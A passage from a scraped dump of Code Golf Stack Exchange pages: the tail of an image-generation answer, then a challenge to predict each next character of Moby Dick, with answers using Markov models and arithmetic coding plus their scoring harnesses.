d[i++]=F.b(x,y)>>2\n d[i++]=255;\n if(++x===s)x=0,y++\n }\n c.putImageData(G,0,0)\n}\n```\n# Purple\n```\nvar purple = {\n r: function(i,j) {\n if (j < 512) j=1024-j\n return (i % j) | i\n },\n g: function(i,j){\n if (j < 512) j = 1024 -j\n return (1024-i ^ (i %j)) % j\n },\n b: function(i,j){\n if (j < 512) j = 1024 -j\n return 1024-i | i+j %512\n }\n};\ndraw(purple,true);\n```\n![enter image description here](https://i.stack.imgur.com/5HPJT.jpg)\n[Answer]\n# Reflected waves\n```\nunsigned char RD(int i,int j){\n#define A static double w=8000,l,k,r,d,p,q,a,b,x,y;x=i;y=j;for(a=8;a+9;a--){for(b=8;b+9;b--){l=i-a*DIM-(int(a)%2?227:796);\nreturn 0;}\nunsigned char GR(int i,int j){\n#define B k=j-b*DIM-(int(b)%2?417:606);r=sqrt(l*l+k*k);d=16*cos((r-w)/7)*exp(-_sq(r-w)/120);p=d*l/r;q=d*k/r;x-=p;y-=q;}}\nreturn 0;}\nunsigned char BL(int i,int j){AB\nreturn (int(x/64)+int(y/64))%2*255;}\n```\nA basic chess board pattern distorted according to the position of a wave expanding from a point like a stone dropped in a pond (very far from physically accurate!). The variable `w` is the number of pixels from that point that the wave has moved. If `w` is large enough, the wave reflects from the sides of the image.\n## `w` = 225\n![waves with w=225](https://i.stack.imgur.com/pcXbG.png \"waves with 2=225\")\n## `w` = 360\n![waves with w=360](https://i.stack.imgur.com/HkJlZ.png \"waves with w=360\")\n## `w` = 5390\n![waves with w=5390](https://i.stack.imgur.com/baL5V.png \"waves with w=5390\")\nHere is a GIF showing a succession of images as the wave expands. I've provided a number of different sizes, each showing as many frames as the 500KB file size limit will allow.\n![waves large GIF](https://i.stack.imgur.com/E5P5j.gif \"waves large GIF\")\n![waves small GIF](https://i.stack.imgur.com/TFaIn.gif \"waves small GIF\") ![waves medium GIF](https://i.stack.imgur.com/nNOs0.gif \"waves medium GIF\")\n---\nIf I can find a way to fit it in, I'd ideally like to have wave interference modelled so that the waves look more realistic when they cross. I'm pleased with the reflection though.\nNote that I haven't really modelled wave reflection in 3 lots of 140 bytes. There's not really any reflection going on, it just happens to look like it. I've hidden the explanation in case anyone wants to guess first:\n> \n> The first reflected wave is identical to a wave originating from the other side of the image edge, the same distance away as the original point. So the code calculates the correct position for the 4 points required to give the effect of reflection from each of the 4 edges. Further levels of reflected wave are all identical to a wave originating in a further away tile, if you imagine the image as one tile in a plane. The code gives the illusion of 8 levels of reflection by displaying 189 separate expanding circles, each placed in the correct point in a 17 by 17 grid, so that they pass through the central square of the grid (that is, the image square) at just the right times to give the impression of the required current level of reflection. This is simple (and short!) to code, but runs quite slowly...\n> \n> \n> \n]"}}},{"rowIdx":16,"cells":{"text":{"kind":"string","value":"[Question]\n [\n[Here is a 1.2Mb ASCII text file](https://gist.githubusercontent.com/nathanielvirgo/73b4181917f83c0cd306bd0d8f4c998a/raw/208774322bad4e04715eae743d7d350b504fe5eb/whale2.txt) containing the text of Herman Melville's *Moby-Dick; or, The Whale*. Your task is to write a program or function (or class, etc. -- see below) which will be given this file one character at a time, and at each step must guess the next character.\nThis is [code-challenge](/questions/tagged/code-challenge \"show questions tagged 'code-challenge'\"). Your score will be\n```\n2*L + E\n```\nwhere `L` is the size of your submission in bytes, and `E` is the number of characters it guesses incorrectly. The lowest score wins.\n**Further particulars**\nYour submission will be a program or function (etc.) that will be called or invoked or sent data multiple times. (1215235 times to be exact.) When it is called for the *n*th time it will be given the *n*th character of `whale.txt` or `whale2.txt` and it must output its guess for the (*n+1*)th character. The `E` component of its score will be the total number of characters that it guesses incorrectly.\nMost submissions will need to store some state in between invocations, so that they can track how many times they have been called and what the previous inputs were. You can do this by writing to an external file, by using `static` or global variables, by submitting a class rather than a function, using a state monad, or whatever else works for your language. Your submission must include any code required to initialise its state before the first invocation.\nYour program should run deterministically, so that it always makes the same guesses given the same input (and hence always gets the same score).\nYour answer must include not only your submission, but also the code you used to calculate the `E` part of its score. This need not be written in the same language as your submission, and will not be counted towards its byte count. You are encouraged to make it readable.\nRegarding the interface between your submission and this score-calculating program, anything is fine, as long as your program always gives one byte of output before receiving its next byte of input. (So, for example, you can't just pass it a string containing all of the input and get a string back containing all of the output.)\nYou must actually run your test program and calculate/verify your score before submitting your entry. If your submission runs too slowly for you to verify its score then it is not qualified to compete, even if you know what its score would be in principle.\nThe `L` component of your score will be calculated according to the usual rules for code golf challenges. If your submission will contain multiple files, please take note of the rules on [scoring](https://codegolf.meta.stackexchange.com/a/4934/21034) and [directory structure](https://codegolf.meta.stackexchange.com/a/12821/21034) in that case. Any data that your code uses must be included in your `L` score.\nYou may import existing libraries but may not load any other external files, and your code may not access the `whale.txt` or `whale2.txt` file in any way other than described above. You may not load any pre-trained neural networks or other sources of statistical data. (It's fine to use neural networks, but you have to include the weight data in your submission and count it towards your byte count.) If for some reason your language or libraries include a feature that provides some or all of the text of Moby Dick, you may not use that feature. Aside from that you can use any other built-in or library features that you like, including ones relating to text processing, prediction or compression, as long as they're part of your language or its standard libraries. For more exotic, specialised routines that include sources of statistical data, you would have to implement them yourself and include them in your byte count.\nIt is likely that some submissions will include components that are themselves generated by code. If this is the case, **please include in your answer the code that was used to produce them, and explain how it works**. (As long as this code is not needed to run your submission it will not be included in your byte count.)\nFor historical reasons, there are two versions of the file, and you may use either of them in an answer. In [`whale2.txt`](https://gist.githubusercontent.com/nathanielvirgo/73b4181917f83c0cd306bd0d8f4c998a/raw/208774322bad4e04715eae743d7d350b504fe5eb/whale2.txt) (linked above) the text is not wrapped, so newlines appear only at the end of paragraphs. In the original [`whale.txt`](https://gist.githubusercontent.com/nathanielvirgo/5cdbb0504f473830074268a9d65e8b39/raw/3d1bdd13d10da999d3b3ca95fd134548ef8e4e67/whale.txt) the text is wrapped to a width of 74 characters, so you have to predict the end of each line as well as predicting the text. This makes the challenge more fiddly, so `whale2.txt` is recommended for new answers. Both files are the same size, 1215236 bytes.\n---\nTo summarise, all answers should include the following things:\n* Your submission itself. (The code, plus any data files it uses - these can be links if they're large.)\n* **An explanation of how your code works.** Please explain the I/O method as well as how it predicts the next character. The explanation of your algorithm is important, and good explanations will earn bounties from me.\n* The code you used to evaluate your score. (If this is identical to a previous answer you can just link to it.)\n* Any code you used to generate your submission, **along with an explanation of that code.** This includes code that you used to optimise parameters, generate data files etc. (This doesn't count towards your byte count but should be included in your answer.)\n# Leaderboard\n```\nvar QUESTION_ID=152856,OVERRIDE_USER=21034;function answersUrl(e){return\"https://api.stackexchange.com/2.2/questions/\"+QUESTION_ID+\"/answers?page=\"+e+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+ANSWER_FILTER}function commentUrl(e,s){return\"https://api.stackexchange.com/2.2/answers/\"+s.join(\";\")+\"/comments?page=\"+e+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:\"get\",dataType:\"jsonp\",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:\"get\",dataType:\"jsonp\",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r=\"

\"+e.body.replace(OVERRIDE_REG,\"\")+\"

\")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery(\"#answer-template\").html();t=t.replace(\"{{PLACE}}\",n+\".\").replace(\"{{NAME}}\",e.user).replace(\"{{LANGUAGE}}\",e.language).replace(\"{{SIZE}}\",e.size).replace(\"{{LINK}}\",e.link),t=jQuery(t),jQuery(\"#answers\").append(t);var o=e.language;/
s.lang?1:e.lang\\s*([^\\n,]*[^\\s,]),.*?(\\d+)(?=[^\\n\\d<>]*(?:<(?:s>[^\\n<>]*<\\/s>|[^\\n<>]+>)[^\\n\\d<>]*)*<\\/h\\d>)/,OVERRIDE_REG=/^Override\\s*header:\\s*/i;\n```\n```\nbody{text-align:left!important}#answer-list,#language-list{padding:10px;width:380px;float:left}table thead{font-weight:700}table td{padding:5px}\n```\n```\n

Leaderboard

AuthorLanguageScore

Winners by Language

LanguageUserScore
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n# Bounties\nFrom time to time I'll offer bounties to encourage different approaches.\nThe first one, 50 points, was awarded to A. Rex for the best-scoring answer at the time.\nThe second, 100 points, was also awarded to A. Rex, for the same answer, because they added a very good explanation to their existing answer.\nThe next bounty, **200 points**, will be awarded to either\n* A competitive answer that uses a new technique. (This will be based on my subjective judgment since it's my rep that goes into the bounty, but you can trust me to be fair. Note that your answer needs to contain sufficient explanation for me to understand how it works!) Such an answer needn't take the top score, it just needs to do reasonably well compared to existing answers. I'm particularly keen to see solutions based on recurrent neural networks, but I'll award the bounty to anything that seems different enough from the Markov models that dominate the current top scores.\nOr:\n* Anyone else who beats A. Rex's top score (currently 444444), using any method.\nOnce the 200 point bounty is claimed I will most likely offer a 400 point one, updating the requirements accordingly.\n \n[Answer]\n# [///](http://esolangs.org/wiki////), 2\\*1 + 1020874 = 1020876\n```\n \n```\nPrints a space.\n[Answer]\n# Perl, 2·70525 + 326508 = 467558\n## Predictor\n```\n$m=($u=1<<32)-1;open B,B;@e=unpack\"C*\",join\"\",;$e=2903392593;sub u{int($_[0]+($_[1]-$_[0])*pop)}sub o{$m&(pop()<<8)+pop}sub g{($h,%m,@b,$s,$E)=@_;if($d eq$h){($l,$u)=(u($l,$u,$L),u($l,$u,$U));$u=o(256,$u-1),$l=o($l),$e=o(shift@e,$e)until($l^($u-1))>>24}$M{\"@c\"}{$h}++-++$C{\"@c\"}-pop@c for@p=($h,@c=@p);@p=@p[0..19]if@p>20;@c=@p;for(@p,$L=0){$c=\"@c\";last if\" \"ne pop@c and@c<2 and$E>99;$m{$_}+=$M{$c}{$_}/$C{$c}for sort keys%{$M{$c}};$E+=$C{$c}}$s>5.393*$m{$_}or($s+=$m{$_},push@b,$_)for sort{$m{$b}<=>$m{$a}}sort keys%m;$e>=u($l,$u,$U=$L+$m{$_}/$s)?$L=$U:return$d=$_ for sort@b}\n```\nTo run this program, you need [this file here](https://www.dropbox.com/s/0tuq5loupk95cdj/B), which must be named `B`. (You can change this filename in the *second* instance of the character `B` above.) See below for how to generate this file.\nThe program uses a combination of Markov models essentially as in [this answer by user2699](https://codegolf.stackexchange.com/a/153050/49643), but with a few small modifications. This produces a *distribution* for the next character. We use information theory to decide whether to accept an error or spend bits of storage in `B` encoding hints (and if so, how). We use [arithmetic coding](https://en.wikipedia.org/wiki/Arithmetic_coding) to optimally store fractional bits from the model.\nThe program is 582 bytes long (including an unnecessary final newline) and the binary file `B` is 69942 bytes long, so [under the rules for scoring multiple files](https://codegolf.meta.stackexchange.com/questions/4933/counting-bytes-for-multi-file-programs/4934#4934), we score `L` as 582 + 69942 + 1 = 70525.\nThe program almost certainly requires a 64-bit (little-endian?) architecture. It takes approximately 2.5 minutes to run on an `m5.large` instance on Amazon EC2.\n## Test code\n```\n# Golfed submission\nrequire \"submission.pl\";\nuse strict; use warnings; use autodie;\n# Scoring length of multiple files adds 1 penalty\nmy $length = (-s \"submission.pl\") + (-s \"B\") + 1;\n# Read input\nopen my $IN, \"<\", \"whale2.txt\";\nmy $input = do { local $/; <$IN> };\n# Run test harness\nmy $errors = 0;\nfor my $i ( 0 .. length($input)-2 ) {\n my $current = substr $input, $i, 1;\n my $decoded = g( $current );\n my $correct = substr $input, $i+1, 1;\n my $error_here = 0 + ($correct ne $decoded);\n $errors += $error_here;\n}\n# Output score\nmy $score = 2 * $length + $errors;\nprint <;eval join\"\",@S[0..15,64..122],'open W,\"whale2.txt\";($n,@W)=split\"\",join\"\",;for$X(0..@W){($h,$n,%m,@b,$s,$E)=($n,$W[$X]);',@S[256..338],'U=0)',@S[343..522],'for(sort@b){$U=($L=$U)+$m{$_}/$s;if($_ eq$n)',@S[160..195],'X<128||print(pack C,$l>>24),',@S[195..217,235..255],'}}'\n```\nIt takes approximately as long to run as the submission, as it performs similar computations.\n## Explanation\nIn this section, we will attempt to describe what this solution does in sufficient detail that you could \"try it at home\" yourself. The main technique that differentiates this answer from the other ones is a few sections down as the \"rewind\" mechanism, but before we get there, we need to set up the basics.\n### Model\nThe basic ingredient of the solution is a language model. For our purposes, a *model* is something that takes some amount of English text and returns a *probability distribution* on the next character. When we use the model, the English text will be some (correct) prefix of Moby Dick. Please note that the desired output is a *distribution*, and not just a single guess for the most likely character.\nIn our case, we essentially use the model in [this answer by user2699](https://codegolf.stackexchange.com/a/153050/49643). We didn't use the model from the highest-scoring answer (other than our own) [by Anders Kaseorg](https://codegolf.stackexchange.com/a/152968/49643) precisely because we were unable to extract a distribution rather than a single best guess. In theory, that answer computes a weighted geometric mean, but we got somewhat poor results when we interpreted that too literally. We \"stole\" a model from another answer because our \"secret sauce\" isn't the model but rather the overall approach. If someone has a \"better\" model, then they should be able to get better results using the rest of our techniques.\nAs a remark, most compression methods such as Lempel-Ziv can be seen as being a \"language model\" in this way, though one might have to squint a little bit. (It's particularly tricky for something that does a Burrows-Wheeler transform!) Also, note that the model by user2699 is a modification of a Markov model; essentially nothing else is competitive for this challenge or perhaps even modeling text in general.\n### Overall architecture\nFor the purposes of understanding, it's nice to break up the overall architecture into several pieces. From the highest-level perspective, there needs to be a little bit of state management code. This isn't particularly interesting, but for completeness we want to stress that at every point the program is asked for the next guess, it has available to it a correct prefix of Moby Dick. We do not use our past incorrect guesses in any way. For efficiency's sake, the language model can probably reuse its state from the first N characters to compute its state for the first (N+1) characters, but in principle, it could recompute things from scratch every time it is invoked.\nLet's set this basic \"driver\" of the program aside and peek inside the part that guesses the next character. It helps conceptually to separate three parts: the language model (discussed above), a \"hints\" file, and an \"interpreter\". At each step, the interpreter will ask the language model for a distribution for the next character and possibly read some information from the hints file. Then it will combine these parts into a guess. Precisely what information is in the hints file as well as how it is used will be explained later, but for now it helps to keep these parts separate mentally. Note that implementation-wise, the hints file is literally a separate (binary) file but it could have been a string or something stored inside the program. As an approximation, we pretend that the model and interpreter are pretty short, so we can approximate that as \"L ≈ 0\".\nIf one is using a standard compression method such as [bzip2 as in this answer](https://codegolf.stackexchange.com/a/152931/49643), the \"hints\" file corresponds to the compressed file. The \"interpreter\" corresponds to the decompressor, while the \"language model\" is a bit implicit (as mentioned above).\n### Why use a hint file?\nLet's pick a simple example to analyze further. Suppose that the text is `N` characters long and well-approximated by a model wherein every character is (independently) the letter `E` with probability slightly less than a half, `T` similarly with probability slightly less than a half, and `A` with probability 1/1000 = 0.1%. Let's assume no other characters are possible; in any case, the `A` is pretty similar to the case of a previously unseen character out of the blue.\nIf we operated in the L 0 regime (as most, but not all, of the other answers to this question do), there's no better strategy for the interpreter than pick one of `E` and `T`. On average, it will get about half of the characters correct. So E ≈ N/2 and the score ≈ N/2 also. However, if we use a compression strategy, then we can compress to a little more than one bit per character. Because L is counted in bytes, we get L ≈ N/8 and thus score ≈ N/4, twice as good as the previous strategy.\nAchieving this rate of a little more than one bit per character for this model is slightly nontrivial, but one method is arithmetic coding.\n### Arithmetic coding\nAs is commonly-known, an *encoding* is a way of representing some data using bits/bytes. For example, ASCII is a 7 bit/character encoding of English text and related characters, and it is the encoding of the original Moby Dick file under consideration. If some letters are more common than others, then a fixed-width encoding like ASCII is not optimal. In such a situation, many people reach for [Huffman coding](https://en.wikipedia.org/wiki/Huffman_coding). This is optimal if you want a fixed (prefix-free) code with an integer number of bits per character.\nHowever, [arithmetic coding](https://en.wikipedia.org/wiki/Arithmetic_coding) is even better. Roughly speaking, it is able to use \"fractional\" bits to encode information. There are many guides to arithmetic coding available online. We'll skip the details here (especially of the practical implementation, which can be a little tricky from a programming perspective) because of the other resources available online, but if someone complains, maybe this section can be fleshed out more.\nIf one has text actually generated by a known language model, then arithmetic coding provides an essentially-optimal encoding of text from that model. In some sense, this \"solves\" the compression problem for that model. (Thus in practice, the main issue is that the model isn't known, and some models are better than others at modeling human text.) If it was not allowed to make errors in this contest, then in the language of the previous section, one way to produce a solution to this challenge would have been to use an arithmetic encoder to generate a \"hints\" file from the language model and then use an arithmetic decoder as the \"interpreter\".\nIn this essentially-optimal encoding, we end up spending -log\\_2(p) bits for a character with probability p, and the overall bit-rate of the encoding is the [Shannon entropy](https://en.wikipedia.org/wiki/Shannon_entropy). This means that a character with probability near 1/2 takes about one bit to encode, while one with probability 1/1000 takes about 10 bits (because 2^10 is roughly 1000).\nBut the scoring metric for this challenge was well-chosen to avoid compression as the optimal strategy. We'll have to figure out some way to make some errors as a tradeoff for getting a shorter hints file. For example, one strategy one might try is a simple branching strategy: we generally try to use arithmetic encoding when we can, but if the probability distribution from the model is \"bad\" in some way we just guess the most likely character and don't try encoding it.\n### Why make errors?\nLet's analyze the example from before to motivate why we might want to make errors \"intentionally\". If we use arithmetic coding to encode the correct character, we will spend roughly one bit in the case of an `E` or `T`, but about ten bits in the case of an `A`.\nOverall, this is a pretty good encoding, spending a little over a bit per character even though there are three possibilities; basically, the `A` is fairly unlikely and we don't end up spending its corresponding ten bits too often. However, wouldn't it be nice if we could just make an error instead in the case of an `A`? After all, the metric for the problem considers 1 byte = 8 bits of length to be equivalent to 2 errors; thus it seems like one should prefer an error instead of spending more than 8/2 = 4 bits on a character. Spending more than a byte to save one error definitely sounds suboptimal!\n### The \"rewind\" mechanism\nThis section describes the main clever aspect of this solution, which is a way to handle incorrect guesses at no cost in length.\nFor the simple example we've been analyzing, the rewind mechanism is particularly straightforward. The interpreter reads one bit from the hints file. If it is a 0, it guesses `E`. If it is a 1, it guesses `T`. The next time it is called, it sees what the correct character is. If the hint file is set up well, we can ensure that in the case of an `E` or `T`, the interpreter guesses correctly. But what about `A`? The idea of the rewind mechanism is to simply *not code `A` at all*. More precisely, if the interpreter later learns that the correct character was an `A`, it metaphorically \"*rewinds* the tape\": it returns the bit it read previously. The bit it read does intend to code `E` or `T`, but not now; it will be used later. In this simple example, this basically means that it *keeps* guessing the same character (`E` or `T`) until it gets it right; then it reads another bit and keeps going.\nThe encoding for this hints file is very simple: turn all of the `E`s into 0 bits and `T`s into 1 bits, all while ignoring `A`s entirely. By the analysis at the end of the previous section, this scheme makes some errors but reduces the score overall by not encoding any of the `A`s. As a smaller effect, it actually saves on the length of the hints file as well, because we end up using exactly one bit for each `E` and `T`, instead of slightly more than a bit.\n### A little theorem\nHow do we decide when to make an error? Suppose our model gives us a probability distribution P for the next character. We will separate the possible characters into two classes: *coded* and *not coded*. If the correct character is not coded, then we will end up using the \"rewind\" mechanism to accept an error at no cost in length. If the correct character is coded, then we will use some other distribution Q to encode it using arithmetic coding.\nBut what distribution Q should we choose? It's not too hard to see that the coded characters should all have higher probability (in P) than the not coded characters. Also, the distribution Q should only include the coded characters; after all, we're not coding the other ones, so we shouldn't be \"spending\" entropy on them. It's a little trickier to see that the probability distribution Q should be proportional to P on the coded characters. Putting these observations together means that we should code the most-likely characters but possibly not the less-likely characters, and that Q is simply P rescaled on the coded characters.\nIt furthermore turns out that there's a cool theorem regarding which \"cutoff\" one should pick for the coding characters: you should code a character as long as it is at least 1/5.393 as likely as the other coded characters combined. This \"explains\" the appearance of the seemingly random constant `5.393` nearer the end of the program above. The number 1/5.393 ≈ 0.18542 is the solution to the equation [-p log(16) - p log p + (1+p) log(1+p) = 0](https://www.wolframalpha.com/input/?i=solve+-p+log%2816%29+-+p+log+p+%2B+%281%2Bp%29+log%281%2Bp%29+%3D+0+for+p).\nPerhaps it's a reasonable idea to write out this procedure in code. This snippet is in C++:\n```\n// Assume the model is computed elsewhere.\nunordered_map model;\n// Transform p to q\nunordered_map code;\npriority_queue> pq;\nfor( char c : CHARS )\n pq.push( make_pair(model[c], c) );\ndouble s = 0, p;\nwhile( 1 ) {\n char c = pq.top().second;\n pq.pop();\n p = model[c];\n if( s > 5.393*p )\n break;\n code[c] = p;\n s += p;\n}\nfor( auto& kv : code ) {\n char c = kv.first;\n code[c] /= s;\n}\n```\n### Putting it all together\nThe previous section is unfortunately a little technical, but if we put all of the other pieces together, the structure is as follows. Whenever the program is asked to predict the next character after a given correct character:\n1. Add the correct character to the known correct prefix of Moby Dick.\n2. Update the (Markov) model of the text.\n3. The **secret sauce**: If the previous guess was incorrect, *rewind* the state of the arithmetic decoder to its state before the previous guess!\n4. Ask the Markov model to predict a probability distribution P for the next character.\n5. Transform P to Q using the subroutine from the previous section.\n6. Ask the arithmetic decoder to decode a character from the remainder of the hints file, according to the distribution Q.\n7. Guess the resulting character.\nThe encoding of the hints file operates similarly. In that case, the program knows what the correct next character is. If it is a character that should be coded, then of course one should use the arithmetic encoder on it; but if it is a not coded character, it just doesn't update the state of the arithmetic encoder.\nIf you understand the information-theoretic background like probability distributions, entropy, compression, and arithmetic coding but tried and failed to understand this post (except why the theorem is true), let us know and we can try to clear things up. Thanks for reading!\n[Answer]\n# Node.js, 2\\*224 + 524279 = 524727\n*Please refer to the change log at the end of this post for score updates.*\nA function taking and returning a byte.\n```\na=[...l='14210100'],m={},s={},b={}\nf=c=>a.some((t,n)=>x=s[y=l.slice(n)]>t|/^[A-Z '\"(]/.test(y)&&b[y],l+=String.fromCharCode(c),a.map((_,n)=>(m[x=l.slice(n)]=-~m[x])a.some((t,n)=>x=s[y=l.slice(n)]>t|/^[A-Z '\"(]/.test(y)&&b[y],l+=String.fromCharCode(c),a.map((_,n)=>(m[x=l.slice(n)]=-~m[x]) {\n const fs = require('fs');\n let data = fs.readFileSync('whale2.txt'),\n len = data.length,\n err = 0;\n console.time('ElapsedTime');\n data.forEach((c, i) => {\n i % 100000 || console.log((i * 100 / len).toFixed(1) + '%');\n if(i < len - 1 && f(c) != data[i + 1]) {\n err++;\n }\n })\n console.log('E = ' + err);\n console.timeEnd('ElapsedTime');\n})(f)\n```\n---\n### Change log\n* **524727** - saved 19644 points by switching to [**whale2.txt**](https://gist.githubusercontent.com/nathanielvirgo/73b4181917f83c0cd306bd0d8f4c998a/raw/208774322bad4e04715eae743d7d350b504fe5eb/whale2.txt) (challenge update)\n* **544371** - saved 327 points by forcing patterns starting with a capital letter, a quote, a double-quote or an opening parenthesis to be also always trusted\n* **544698** - saved 2119 points by forcing patterns starting with a space to be always trusted\n* **546817** - saved 47 points by adjusting the thresholds and golfing the prediction function\n* **546864** - saved 1496 points by extending the maximum pattern length to 8 characters\n* **548360** - saved 6239 points by introducing the notion of trusted patterns, with thresholds depending on their length\n* **554599** - saved 1030 points by improving the line feed prediction\n* **555629** - saved 22 points by golfing the prediction function\n* **555651** - saved 40 points by golfing the prediction function\n* **555691** - initial score\n[Answer]\n# Python 3, 2·267 + 510193 = 510727\n### Predictor\n```\ndef p():\n d={};s=b''\n while 1:\n p={0:1};r=range(len(s)+1)\n for i in r:\n for c,n in d.setdefault(s[:i],{}).items():p[c]=p.get(c,1)*n**b'\\1\\6\\f\\36AcWuvY_v`\\270~\\333~'[i]\n c=yield max(sorted(p),key=p.get)\n for i in r:e=d[s[:i]];e[c]=e.get(c,1)+1\n s=b'%c'%c+s[:15]\n```\nThis uses a weighted Bayesian combination of the order 0, …, 16 Markov models, with weights [1, 6, 12, 30, 65, 99, 87, 117, 118, 89, 95, 118, 96, 184, 126, 219, 126].\nThe result is not very sensitive to the selection of these weights, but I optimized them because I could, using the same [late acceptance hill-climbing](http://www.yuribykov.com/LAHC/) algorithm that I used in [my answer to “Put together a Senate majority”](https://codegolf.stackexchange.com/a/132498/39242), where each candidate mutation is just a ±1 increment to a single weight.\n### Test code\n```\nwith open('whale2.txt', 'rb') as f:\n g = p()\n wrong = 0\n a = next(g)\n for b in f.read():\n wrong += a != b\n a = g.send(b)\n print(wrong)\n```\n[Answer]\n# [Python 3](https://docs.python.org/3/), 2\\*279+592920=593478 2\\*250 + 592467 = 592967 2 \\* 271 + 592084 = 592626 2 \\* 278 + 592059 = 592615 2 \\* 285 + 586660 = 587230 2 \\* 320 + 585161 = 585801 2 \\* 339 + 585050 = 585728\n```\nd=m={}\ns=1\nw,v='',0\ndef f(c):\n global w,m,v,s,d\n if w not in m:m[w]={}\n u=m[w];u[c]=c in u and 1+u[c]or 1;v+=1;q=n=' ';w=w*s+c;s=c!=n\n if w in m:_,n=max((m[w][k],k)for k in m[w])\n elif s-1:n=d in'nedtfo'and't'or'a'\n elif'-'==c:n=c\n elif\"'\"==c:n='s'\n elif'/'4*(n!=q)+66:n='\\n'\n if s:d=c\n if c \n> all around him.\n> \n> \n> \"I saw him almost that same instant, sir, that Captain Ahab did, and I\n> cried out,\" said Tashtego.\n> \n> \n> \"Not the same instant; not the same--no, the doubloon is mine, Fate\n> reserved the doubloon for me. I only; none of ye could have raised the\n> White Whale first. There she blows!--there she blows!--there she blows!\n> \n> \n> \nYou can see where proper nouns in particular come out pretty well, but the ends of words are mostly right as well. When it's seen \"dou\" it expects \"doubt\", but once the \"l\" appears it gets \"doubloon\".\nIf you run it a second time with the same model it just built it immediately gets another 92k correct (51.7%->59.3%), but it's always just under 60% from the second iteration on.\n---\nThe measuring code is in the TIO link, or here's a slightly better version:\n```\ntotal = 0\nright = 0\nwith open('whale.txt') as fp:\n with open('guess.txt', 'w') as dest:\n for l in fp.readlines():\n for c in l:\n last = c\n if p == c: right += 1\n n = f(c)\n p = n\n total += 1\n dest.write(n)\n if total % 10000 == 0:\n print('{} / {} E={}\\r'.format(right, total, total-right), end='')\nprint('{} / {}: E={}'.format(right, total, total - right))\n```\n`guess.txt` has the guessed output at the end.\n[Answer]\n# C++, score: 2\\*132 + 865821 = 866085\n*Thanks to @Quentin for saving 217 bytes!*\n```\nint f(int c){return c-10?\"t \\n 2 sS \\n - 08........ huaoRooe oioaoheu thpih eEA \\n neo enueee neue hteht e\"[c-32]:10;}\n```\nA very simple solution that, given a character, just outputs the character that most frequently appears after the input character.\n**Verify the score with:**\n```\n#include \n#include \nint f(int c);\nint main()\n{\n std::ifstream file;\n file.open(\"whale2.txt\");\n if (!file.is_open())\n return 1;\n char p_ch, ch;\n file >> std::noskipws >> p_ch;\n int incorrect = 0;\n while (file >> std::noskipws >> ch)\n {\n if (f(p_ch) != ch)\n ++incorrect;\n p_ch = ch;\n }\n file.close();\n std::cout << incorrect;\n}\n```\n**Edit:** Using `whale2.txt` gives a better score.\n[Answer]\n## Python, 2\\*516 + 521122 = 522154\n### Algorithm:\nYet another python submission, this algorithm calculates the most likely next letter looking at sequences of length 1,...,l.\nThe sum of probabilities is used, and there are a few tricks to get better results.\n```\nfrom collections import Counter as C, defaultdict as D\nR,l=range,10\ns,n='',[D(C) for _ in R(l+1)]\ndef A(c):\n global s;s+=c;\n if len(s)<=l:return ' '\n P=D(lambda:0)\n for L in R(1,l+1):\n w=''.join(s[-L-1:-1]);n[L][w].update([c]);w=''.join(s[-L:])\n try:\n q,z=n[L][w].most_common(1)[0];x=sum(list(n[L][w].values()))\n except IndexError:continue\n p=z/x\n if x<3:p*=1/(3-x)\n P[q]+=p\n if not P:return ' '\n return max(P.items(),key=lambda i:i[1])[0]\nimport this, codecs as d\n[A(c) for c in d.decode(this.s, 'rot-13')]\n```\n### Results:\nMostly gibberish, although you can see it picks up on the occasional phrase, such as \"Father Mapple\".\n```\nerrors: 521122\nTRAINING:\nresult: tetlsnowleof the won -opes aIther Mapple,woneltnsinkeap hsd lnd the thth a shoey,aeidorsbine ao\nactual: ntal knobs of the man-ropes, Father Mapple cast a look upwards, and then with a truly sailor-like bu\nFINAL:\nresult: mnd wnd round ahe ind tveryaonsracting th ards the sol ens-ike aeock tolblescn the sgis of thet t\nactual: und and round, then, and ever contracting towards the button-like black bubble at the axis of that s\n```\n### Test code:\nPretty simple, outputs some examples of the text at different points.\nUses whale2.txt, as this avoids some extra logic to calculate newlines.\n```\nfrom minified import A\ndef score(predict, text):\n errors = 0\n newtext = []\n for i, (actual, current) in enumerate(zip(text[1:], text[:-1])):\n next = predict(current)\n errors += (actual != next)\n newtext.append(next)\n if (i % (len(text) // 100) == 0):\n print ('.', end='', flush=True)\n return errors, ''.join(newtext)\nt = open('whale2.txt')\ntext = t.read()\nerr2, text2 = score(A, text)\nprint('errors:', err2)\nprint(\"TRAINING:\")\nprint(text2[100000:100100].replace('\\n', '\\\\n'))\nprint(text1[100001:100101].replace('\\n', '\\\\n'))\nprint(\"FINAL:\")\nprint(text2[121400:1215500].replace('\\n', '\\\\n'))\nprint(text[121401:1215501].replace('\\n', '\\\\n'))\n```\n[Answer]\n# [C (gcc)](https://gcc.gnu.org/), ~~679787~~ 652892\n~~84~~ 76 bytes, ~~679619~~ 652740 incorrect guesses\n```\np[128][128][128][128];a,b,c,d;g(h){p[a][b][c][d]=h;h=p[a=b][b=c][c=d][d=h];}\n```\n[Try it 